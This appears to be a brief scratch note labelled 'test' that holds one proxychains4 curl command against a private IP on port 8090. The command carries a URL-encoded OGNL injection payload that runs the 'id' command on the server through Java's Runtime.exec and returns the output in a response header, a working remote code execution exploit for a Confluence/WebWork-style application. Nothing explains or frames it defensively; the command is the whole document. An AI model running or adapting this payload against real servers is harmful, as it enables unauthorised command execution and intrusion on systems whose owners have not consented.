test

proxychains4 curl -v -k "http://192.168.2.20:8090/%24%7B%28%23a%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%7D/"